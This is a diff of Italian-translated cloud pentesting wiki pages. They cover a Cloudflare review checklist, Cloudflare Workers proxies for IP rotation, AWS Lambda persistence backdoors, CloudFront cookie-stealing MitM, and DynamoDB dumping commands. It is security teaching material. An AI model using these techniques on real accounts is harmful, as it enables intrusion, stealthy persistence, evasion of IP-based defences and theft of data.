diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index dd1c56fab..62f78c703 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -6,9 +6,9 @@ In un account Cloudflare ci sono alcune **impostazioni e servizi generali** che
-## Siti web +## Websites -Rivedere ciascuno con: +Review each with: {{#ref}} cloudflare-domains.md @@ -16,9 +16,9 @@ cloudflare-domains.md ### Domain Registration -- [ ] In **`Transfer Domains`** verificare che non sia possibile trasferire alcun dominio. +- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. -Rivedere ciascuno con: +Review each with: {{#ref}} cloudflare-domains.md @@ -26,7 +26,7 @@ cloudflare-domains.md ## Analytics -_Non sono riuscito a trovare nulla da verificare per una revisione della configurazione di sicurezza._ +_Non sono riuscito a trovare nulla da controllare per una review di configurazione della sicurezza._ ## Pages @@ -34,7 +34,7 @@ On each Cloudflare's page: - [ ] Check for **sensitive information** in the **`Build log`**. - [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. -- [ ] Check for potential github repo compromise via workflow command injection or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html). +- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html). - [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). - [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** - [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. @@ -44,12 +44,12 @@ On each Cloudflare's page: On each Cloudflare's worker check: -- [ ] I trigger: cosa fa scattare il Worker? Un utente può inviare dati che verranno usati dal Worker? +- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? - [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** -- [ ] Verificare il codice del worker e cercare vulnerabilità (soprattutto nei punti in cui l'utente può controllare l'input) -- Cercare SSRF che restituiscano la pagina indicata e che tu possa controllare -- Cercare XSS che eseguano JS all'interno di un'immagine svg -- È possibile che il worker interagisca con altri servizi interni. Per esempio, un worker può interagire con un bucket R2 memorizzandovi informazioni ottenute dall'input. In tal caso, è necessario verificare quali capacità ha il worker sul bucket R2 e come potrebbero essere abusate dall'input dell'utente. +- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) +- Check for SSRFs returning the indicated page that you can control +- Check XSSs executing JS inside a svg image +- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. > [!WARNING] > Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. @@ -64,7 +64,7 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md On each R2 bucket check: -- [ ] Configurare la **CORS Policy**. +- [ ] Configure **CORS Policy**. ## Stream @@ -76,8 +76,8 @@ TODO ## Security Center -- [ ] Se possibile, eseguire una scansione `Security Insights` e una scansione `Infrastructure`, poiché metteranno in evidenza informazioni interessanti dal punto di vista della sicurezza. -- [ ] Controllare queste informazioni per misconfigurazioni di sicurezza e informazioni interessanti +- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. +- [ ] Just **check this information** for security misconfigurations and interesting info ## Turnstile @@ -94,12 +94,12 @@ cloudflare-zero-trust-network.md > [!NOTE] > Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. -- [ ] Verificare che le **espressioni** e i **requisiti** per i redirect abbiano senso. -- [ ] Verificare anche la presenza di endpoint nascosti sensibili che contengono informazioni interessanti. +- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. +- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. ## Notifications -- [ ] Controllare le notifiche. Queste notifiche sono raccomandate per la sicurezza: +- [ ] Check the **notifications.** These notifications are recommended for security: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -119,16 +119,16 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] Verificare tutte le **destinazioni**, poiché potrebbero esserci **informazioni sensibili** (basic http auth) nelle webhook urls. Assicurarsi inoltre che le webhook urls usino **HTTPS** -- [ ] Come controllo aggiuntivo, potresti provare a impersonare una notifica Cloudflare a una terza parte; forse puoi in qualche modo iniettare qualcosa di pericoloso +- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** +- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** -## Gestione account +## Manage Account -- [ ] È possibile vedere le **ultime 4 cifre della carta di credito**, la **data di scadenza** e l'**indirizzo di fatturazione** in **`Billing` -> `Payment info`**. -- [ ] È possibile vedere il **tipo di piano** usato nell'account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** è possibile vedere tutti i membri dell'account e il loro **`role`**. Nota che se il tipo di piano non è Enterprise, esistono solo 2 ruoli: Administrator e Super Administrator. Ma se il **piano usato è Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) possono essere usati per seguire il principio del least privilege. -- Pertanto, quando possibile è `recommended` usare il `Enterprise plan`. -- [ ] In `Members` è possibile verificare quali membri hanno la 2FA abilitata. Ogni utente dovrebbe averla abilitata. +- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. +- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. +- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. +- Therefore, whenever possible is **recommended** to use the **Enterprise plan**. +- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. > [!NOTE] > Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md index e0b075b45..924c35d54 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md @@ -1,31 +1,31 @@ -# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style) +# Abusare dei Cloudflare Workers come pass-through proxies (rotazione IP, stile FireProx) {{#include ../../banners/hacktricks-training.md}} -Cloudflare Workers possono essere distribuiti come proxy HTTP trasparenti pass-through in cui l'URL di destinazione upstream è fornito dal client. Le richieste escono dalla rete di Cloudflare, quindi la destinazione vede gli IP di Cloudflare invece di quelli del client. Questo rispecchia la famosa tecnica FireProx su AWS API Gateway, ma utilizza Cloudflare Workers. +Cloudflare Workers possono essere deployati come proxy HTTP trasparenti pass-through dove l'URL di destinazione upstream è fornito dal client. Le richieste escono dalla rete di Cloudflare, quindi il target osserva gli IP di Cloudflare invece di quelli del client. Questo rispecchia la nota tecnica FireProx su AWS API Gateway, ma utilizza Cloudflare Workers. -### Key capabilities -- Support for all HTTP methods (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) -- La destinazione può essere fornita tramite parametro di query (?url=...), un header (X-Target-URL), o persino codificata nel path (es., /https://target) -- Header e body vengono inoltrati tramite il proxy con filtraggio degli header hop-by-hop quando necessario -- Le risposte vengono rilanciate indietro, preservando lo status code e la maggior parte degli header +### Funzionalità principali +- Supporto per tutti i metodi HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) +- Il target può essere fornito tramite parametro di query (?url=...), un header (X-Target-URL), o anche codificato nel path (es., /https://target) +- Headers e body sono proxati attraverso con filtraggio di hop-by-hop/header se necessario +- Le risposte vengono relayate al client preservando il codice di stato e la maggior parte degli header - Spoofing opzionale di X-Forwarded-For (se il Worker lo imposta da un header controllato dall'utente) -- Rotazione estremamente rapida/facile distribuendo più endpoint Worker e smistando le richieste +- Rotazione estremamente rapida/facile distribuendo più endpoint Worker e distribuendo le richieste -### How it works (flow) -1) Il client invia una richiesta HTTP a un URL Worker (`..workers.dev` o una route su dominio custom). -2) Il Worker estrae la destinazione da un parametro di query (?url=...), dall'header X-Target-URL, o da un segmento del path se implementato. -3) Il Worker inoltra il metodo, gli header e il body in arrivo all'URL upstream specificato (filtrando gli header problematici). -4) La risposta upstream viene trasmessa al client attraverso Cloudflare; l'origine vede gli IP di uscita di Cloudflare. +### Come funziona (flusso) +1) Il client invia una richiesta HTTP a un Worker URL (`..workers.dev` o una route di dominio custom). +2) Il Worker estrae il target da un parametro di query (?url=...), dall'header X-Target-URL, o da un segmento del path se implementato. +3) Il Worker inoltra il metodo, gli header e il body in ingresso all'URL upstream specificato (filtrando gli header problematici). +4) La risposta upstream viene streamata indietro al client attraverso Cloudflare; l'origin vede gli IP di egress di Cloudflare. -### Worker implementation example +### Esempio di implementazione del Worker - Legge l'URL di destinazione dal parametro di query, dall'header o dal path - Copia un sottoinsieme sicuro di header e inoltra il metodo/body originale - Opzionalmente imposta X-Forwarded-For usando un header controllato dall'utente (X-My-X-Forwarded-For) o un IP casuale -- Aggiunge CORS permissivo e gestisce i preflight +- Aggiunge CORS permissivo e gestisce il preflight
-Esempio di Worker (JavaScript) per proxy pass-through +Esempio Worker (JavaScript) per proxy pass-through ```javascript /** * Minimal Worker pass-through proxy @@ -135,17 +135,17 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1 ### Automatizzare la distribuzione e la rotazione con FlareProx -FlareProx è uno strumento Python che usa la Cloudflare API per distribuire molti endpoint Worker e ruotare tra essi. Questo fornisce una rotazione IP in stile FireProx dalla rete di Cloudflare. +FlareProx è uno strumento Python che utilizza la Cloudflare API per distribuire molti endpoint Worker e ruotare tra di essi. Questo fornisce una rotazione degli IP simile a FireProx sfruttando la rete di Cloudflare. Configurazione -1) Crea un Cloudflare API Token usando il template “Edit Cloudflare Workers” e recupera il tuo Account ID dalla dashboard. +1) Crea un Cloudflare API Token usando il template “Edit Cloudflare Workers” e ottieni il tuo Account ID dalla dashboard. 2) Configura FlareProx: ```bash git clone https://github.com/MrTurvey/flareprox cd flareprox pip install -r requirements.txt ``` -**Crea il file di configurazione flareprox.json:** +**Crea il config file flareprox.json:** ```json { "cloudflare": { @@ -154,26 +154,26 @@ pip install -r requirements.txt } } ``` -**CLI usage** +**Uso della CLI** - Crea N Worker proxies: ```bash python3 flareprox.py create --count 2 ``` -- Elencare gli endpoint: +- Elenca endpoints: ```bash python3 flareprox.py list ``` -- Endpoint di controllo dello stato: +- Endpoint per il controllo dello stato: ```bash python3 flareprox.py test ``` -- Elimina tutti gli endpoint: +- Eliminare tutti gli endpoints: ```bash python3 flareprox.py cleanup ``` -**Instradare il traffico attraverso un Worker** -- Formato con parametri di query: +**Instradamento del traffico attraverso un Worker** +- Forma con parametro di query: ```bash curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip" ``` @@ -185,7 +185,7 @@ curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.worke ```bash curl https://your-worker.account.workers.dev/https://httpbin.org/ip ``` -- Esempi di metodi: +- Esempi di metodo: ```bash # GET curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get" @@ -204,17 +204,17 @@ curl -X DELETE \ ``` **`X-Forwarded-For` controllo** -Se il Worker rispetta `X-My-X-Forwarded-For`, puoi influenzare il valore upstream di `X-Forwarded-For`: +Se il Worker rispetta `X-My-X-Forwarded-For`, puoi influenzare il valore `X-Forwarded-For` a monte: ```bash curl -H "X-My-X-Forwarded-For: 203.0.113.10" \ "https://your-worker.account.workers.dev?url=https://httpbin.org/headers" ``` **Uso programmatico** -Usa la libreria FlareProx per creare, elencare e testare endpoint e per instradare richieste da Python. +Usare la libreria FlareProx per creare/elencare/testare endpoint e instradare richieste da Python.
-Esempio Python: Invia un POST tramite un endpoint Worker casuale +Esempio Python: Inviare una richiesta POST tramite un endpoint Worker casuale ```python #!/usr/bin/env python3 from flareprox import FlareProx, FlareProxError @@ -268,14 +268,14 @@ print(f"Request error: {e}")
**Integrazione Burp/Scanner** -- Indirizzare gli strumenti (per esempio, Burp Suite) al Worker URL. +- Puntare gli strumenti (per esempio, Burp Suite) sull'URL del Worker. - Fornire l'upstream reale usando ?url= o X-Target-URL. -- La semantica HTTP (methods/headers/body) viene preservata mentre l'IP sorgente viene mascherato dietro Cloudflare. +- La semantica HTTP (methods/headers/body) viene preservata mentre si maschera il tuo indirizzo IP sorgente dietro Cloudflare. **Note operative e limiti** -- Cloudflare Workers Free plan consente circa 100.000 richieste/giorno per account; usare più endpoint per distribuire il traffico se necessario. -- I Workers vengono eseguiti sulla rete di Cloudflare; molti target vedranno solo gli IP/ASN di Cloudflare, il che può bypassare semplici allow/deny lists basate su IP o le euristiche geografiche. -- Usare responsabilmente e solo con autorizzazione. Rispettare ToS e robots.txt. +- Il piano Free di Cloudflare Workers consente approssimativamente 100.000 richieste/giorno per account; usa più endpoint per distribuire il traffico se necessario. +- I Workers girano sulla rete di Cloudflare; molti target vedranno soltanto gli IP/ASN di Cloudflare, il che può eludere liste naive di allow/deny basate su IP o euristiche geografiche. +- Usare responsabilmente e solo con autorizzazione. Rispettare i ToS e robots.txt. ## Riferimenti - [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index aa9b623cf..95f5b671a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -Per maggiori informazioni controlla: +Per maggiori informazioni consulta: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ Per maggiori informazioni controlla: ### Lambda Layer Persistence -È possibile **introdurre/backdoor un layer per eseguire codice arbitrario** quando la Lambda viene eseguita in modo stealth: +È possibile **introduce/backdoor a layer to execute arbitrary code** quando la lambda viene eseguita in modo stealthy: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Abusando dei Lambda Layers è anche possibile sfruttare le extension per persistere nella Lambda ma anche per rubare e modificare le richieste. +Abusing Lambda Layers è anche possibile abusare delle extensions e persist in the lambda ma anche rubare e modificare le requests. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md ### Via resource policies -È possibile concedere accesso a diverse azioni su Lambda (come invoke o update code) ad account esterni: +È possibile concedere accesso a diverse lambda actions (such as invoke or update code) ad account esterni:
### Versions, Aliases & Weights -Una Lambda può avere **diverse versioni** (con codice differente per ogni versione).\ -Poi, puoi creare **diversi alias con versioni differenti** della Lambda e impostare pesi diversi per ciascuno.\ -In questo modo un attacker potrebbe creare una **versione backdoored 1** e una **versione 2 con solo il codice legittimo** ed **eseguire la versione 1 solo nell'1%** delle richieste per rimanere stealth. +Una Lambda può avere **different versions** (con codice diverso in ogni versione).\ +Poi, puoi creare **different aliases with different versions** della lambda e assegnare diversi weights a ciascuna.\ +In questo modo un attacker potrebbe creare una **backdoored version 1** e una **version 2 with only the legit code** e **only execute the version 1 in 1%** delle richieste per rimanere stealth.
### Version Backdoor + API Gateway 1. Copia il codice originale della Lambda -2. **Crea una nuova versione backdooring** il codice originale (o semplicemente con codice maligno). Pubblica e **deploia quella versione** su $LATEST -1. Chiama l'API Gateway correlata alla Lambda per eseguire il codice -3. **Crea una nuova versione con il codice originale**, Pubblica e deploia quella **versione** su $LATEST. +2. **Create a new version backdooring** il codice originale (o solo con codice malevolo). Publish e **deploy that version** su $LATEST +1. Call the API gateway related to the lambda to execute the code +3. **Create a new version with the original code**, Publish e deploy that **version** su $LATEST. 1. Questo nasconderà il codice backdoored in una versione precedente -4. Vai su API Gateway e **crea un nuovo metodo POST** (o scegli qualsiasi altro metodo) che eseguirà la versione backdoored della Lambda: `arn:aws:lambda:us-east-1::function::1` -1. Nota il finale :1 dell'arn **che indica la versione della function** (la versione 1 sarà quella backdoored in questo scenario). -5. Seleziona il metodo POST creato e nelle Actions seleziona **`Deploy API`** -6. Ora, quando **chiami la function via POST your Backdoor** verrà invocato +4. Vai all'API Gateway e **create a new POST method** (o scegli un altro metodo) che eseguirà la backdoored version della lambda: `arn:aws:lambda:us-east-1::function::1` +1. Nota il finale :1 dell'arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). +5. Seleziona il metodo POST creato e in Actions seleziona **`Deploy API`** +6. Ora, quando **call the function via POST your Backdoor** verrà invocata ### Cron/Event actuator -Il fatto che tu possa far **eseguire funzioni Lambda quando succede qualcosa o quando passa del tempo** rende Lambda un modo comune e utile per ottenere persistenza ed evitare il rilevamento.\ -Qui ci sono alcune idee per rendere la tua **presenza in AWS più stealth creando Lambda**. +Il fatto che puoi far **lambda functions run when something happen or when some time pass** rende Lambda un modo comune e utile per ottenere persistence e evitare il rilevamento.\ +Qui hai alcune idee per rendere la tua **presence in AWS more stealth by creating lambdas**. -- Ogni volta che viene creato un nuovo user, una lambda genera una nuova user key e la invia all'attacker. -- Ogni volta che viene creato un nuovo role, una lambda assegna permessi di assume role agli utenti compromessi. +- Ogni volta che viene creato un nuovo user, lambda genera una nuova user key e la invia all'attacker. +- Ogni volta che viene creato un nuovo role, lambda concede assume role permissions agli users compromessi. - Ogni volta che vengono generati nuovi cloudtrail logs, cancellali/modificali ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers -Abusa della variabile d'ambiente `AWS_LAMBDA_EXEC_WRAPPER` per eseguire uno wrapper script controllato dall'attacker prima che il runtime/handler inizi. Distribuisci lo wrapper tramite un Lambda Layer in `/opt/bin/htwrap`, imposta `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, e poi invoca la function. Lo wrapper gira all'interno del processo runtime della function, eredita il ruolo di esecuzione della function, e infine esegue con `exec` il runtime reale così che l'handler originale continui a essere eseguito normalmente. +Abusa della variabile d'ambiente `AWS_LAMBDA_EXEC_WRAPPER` per eseguire uno script wrapper controllato dall'attacker prima che il runtime/handler inizi. Distribuisci il wrapper tramite una Lambda Layer in `/opt/bin/htwrap`, imposta `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, e poi invoca la function. Il wrapper gira all'interno del processo runtime della function, eredita la function execution role e infine `exec`s il vero runtime in modo che l'handler originale venga comunque eseguito normalmente. {{#ref}} aws-lambda-exec-wrapper-persistence.md @@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md ### AWS - Lambda Function URL Public Exposure -Abusa delle asynchronous destinations di Lambda insieme alla configurazione di Recursion per far sì che una function si reinvii continuamente senza uno scheduler esterno (nessun EventBridge, cron, ecc.). Di default, Lambda termina i loop ricorsivi, ma impostando la recursion config su Allow li si riabilita. Le destinations eseguono la consegna lato servizio per gli invoke asincroni, quindi un singolo invoke seed crea un canale stealthy, senza codice, per heartbeat/backdoor. Opzionalmente limita il traffico con reserved concurrency per mantenere il rumore basso. +Abuse Lambda asynchronous destinations insieme alla Recursion configuration per far sì che una function si richiami continuamente da sola senza uno scheduler esterno (no EventBridge, cron, etc.). Di default, Lambda termina i loop ricorsivi, ma impostando la recursion config su Allow li riabiliti. Le destinations consegnano lato servizio per gli invoke asincroni, quindi un singolo seed invoke crea un canale stealthy, code-free per heartbeat/backdoor. Opzionalmente limita con reserved concurrency per mantenere basso il rumore. {{#ref}} aws-lambda-async-self-loop-persistence.md @@ -79,9 +79,9 @@ aws-lambda-async-self-loop-persistence.md ### AWS - Lambda Alias-Scoped Resource Policy Backdoor -Crea una versione nascosta della Lambda con la logica dell'attacker e scope una resource-based policy a quella specifica versione (o alias) usando il parametro `--qualifier` in `lambda add-permission`. Concedi solo `lambda:InvokeFunction` su `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un principal attacker. Le invocazioni normali via nome della function o alias primario rimangono invariate, mentre l'attacker può invocare direttamente l'ARN della versione backdoored. +Crea una Lambda version nascosta con la logica dell'attacker e scope una resource-based policy a quella specifica version (o alias) usando il parametro `--qualifier` in `lambda add-permission`. Concedi solo `lambda:InvokeFunction` su `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un attacker principal. Le invocazioni normali tramite il nome della function o l'alias primario restano inalterate, mentre l'attacker può invocare direttamente l'ARN della versione backdoored. -Questo è più stealth rispetto all'esporre una Function URL e non cambia l'alias di traffico primario. +Questo è più stealthier che esporre una Function URL e non cambia l'alias del traffico primario. {{#ref}} aws-lambda-alias-version-policy-backdoor.md @@ -89,9 +89,9 @@ aws-lambda-alias-version-policy-backdoor.md ### Freezing AWS Lambda Runtimes -Un attacker che abbia i permessi lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, e lambda:GetRuntimeManagementConfig può modificare la runtime management configuration di una function. Questo attacco è particolarmente efficace quando l'obiettivo è mantenere una Lambda su una versione di runtime vulnerabile o preservare la compatibilità con layer maligni che potrebbero essere incompatibili con runtime più recenti. +Un attacker che possiede i permessi lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, e lambda:GetRuntimeManagementConfig può modificare la runtime management configuration di una function. Questo attacco è particolarmente efficace quando l'obiettivo è mantenere una Lambda function su una runtime version vulnerabile o preservare la compatibilità con malicious layers che potrebbero essere incompatibili con runtime più recenti. -L'attacker modifica la runtime management configuration per fissare la versione del runtime: +L'attacker modifica la runtime management configuration per pin the runtime version: ```bash # Invoke the function to generate runtime logs aws lambda invoke \ @@ -107,13 +107,13 @@ aws lambda put-runtime-management-config \ --update-runtime-on FunctionUpdate \ --region us-east-1 ``` -Verifica la configurazione applicata: +Verificare la configurazione applicata: ```bash aws lambda get-runtime-management-config \ --function-name $TARGET_FN \ --region us-east-1 ``` -Opzionale: bloccare su una versione specifica del runtime +Opzionale: fissare a una versione specifica del runtime ```bash # Extract Runtime Version ARN from INIT_START logs RUNTIME_ARN=$(aws logs filter-log-events \ @@ -122,7 +122,7 @@ RUNTIME_ARN=$(aws logs filter-log-events \ --query 'events[0].message' \ --output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4) ``` -Blocca su una versione specifica del runtime: +Fissare una versione specifica del runtime: ```bash aws lambda put-runtime-management-config \ --function-name $TARGET_FN \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index f7a0c6425..9c561b1a2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -4,14 +4,14 @@ ## CloudFront -Per maggiori informazioni, consulta: +Per ulteriori informazioni consulta: {{#ref}} ../../aws-services/aws-cloudfront-enum.md {{#endref}} ### `cloudfront:Delete*` -Un attacker a cui è concesso cloudfront:Delete* può eliminare distributions, policies e altri oggetti di configurazione critici del CDN — per esempio distributions, cache/origin policies, key groups, origin access identities, functions/configs e risorse correlate. Questo può causare interruzioni del servizio, perdita di contenuti e rimozione di configurazioni o artefatti forensi. +An attacker granted cloudfront:Delete* can delete distributions, policies and other critical CDN configuration objects — for example distributions, cache/origin policies, key groups, origin access identities, functions/configs, and related resources. This can cause service disruption, content loss, and removal of configuration or forensic artifacts. Per eliminare una distribution, un attacker potrebbe usare: ```bash @@ -21,19 +21,19 @@ aws cloudfront delete-distribution \ ``` ### Man-in-the-Middle -Questo [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione tramite CloudFront** con lo scopo di **stealing** informazioni utente (come il session **cookie**) e **modifying** la **response** (injecting uno script JS malevolo). +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione tramite CloudFront** con lo scopo di **rubare** informazioni degli utenti (come il **cookie** di sessione) e **modificare** la **risposta** (iniettando uno script JS malevolo). #### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket -- **Crea** la **function** malevola. -- **Associala** alla distribuzione CloudFront. +- **Crea** la **funzione** malevola. +- **Associala** alla CloudFront distribution. - Imposta il **tipo di evento su "Viewer Response"**. -Accedendo alla **response** potresti **steal** il **cookie** degli utenti e **inject** uno script JS malevolo. +Accedendo alla risposta potresti rubare il cookie degli utenti e iniettare un JS malevolo. #### scenario 2: MitM where CloudFront is already using a lambda function -- **Modifica il codice** della **lambda function** per **steal** informazioni sensibili +- **Modifica il codice** della funzione lambda per rubare informazioni sensibili You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 4ddb98b6f..821e7761e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -12,7 +12,7 @@ Per maggiori informazioni consulta: ### `dynamodb:BatchGetItem` -Un attaccante con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non è possibile richiedere tutti i dati della tabella). Questo significa che è necessario conoscere le chiavi primarie (puoi ottenerle recuperando i metadata della tabella (`describe-table`).) +Un attaccante con questo permesso sarà in grado di **ottenere item dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadata della tabella (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella +**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nella tabella ### `dynamodb:GetItem` -**Simile alle autorizzazioni precedenti** questa consente a un potenziale attacker di leggere i valori da una sola tabella fornendo la chiave primaria della voce da recuperare: +**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria dell'elemento da recuperare: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Con questo permesso è inoltre possibile usare il metodo **`transact-get-items`** come: +Con questo permesso è anche possibile usare il metodo **`transact-get-items`** come: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Impatto potenziale:** Privesc indiretto tramite l'individuazione di informazioni sensibili nella tabella +**Impatto potenziale:** Indirect privesc localizzando informazioni sensibili nella tabella ### `dynamodb:Query` -**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere valori da una sola tabella fornendo la chiave primaria della voce da recuperare. Consente di usare un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve comparire) è "EQ", quindi non puoi usare un confronto per ottenere l'intero DB in una richiesta. +**Simile alle autorizzazioni precedenti** questa permette a un potenziale attacker di leggere valori da una sola tabella dato il primary key della voce da recuperare. Permette di usare un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con il primary key (che deve essere presente) è "EQ", quindi non è possibile usare un confronto per ottenere l'intero DB in una singola richiesta. {{#tabs }} {{#tab name="json file" }} @@ -107,35 +107,35 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Impatto potenziale:** privesc indiretto ottenibile individuando informazioni sensibili nella tabella +**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella ### `dynamodb:Scan` -Puoi usare questo permesso per **dump l'intera tabella facilmente** +Puoi usare questa autorizzazione per **dump dell'intera tabella con facilità**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nella tabella +**Impatto potenziale:** privesc indiretto localizzando informazioni sensibili nella tabella ### `dynamodb:PartiQLSelect` -Puoi usare questa autorizzazione per **effettuare il dump dell'intera tabella facilmente**. +Puoi usare questo permesso per **dump 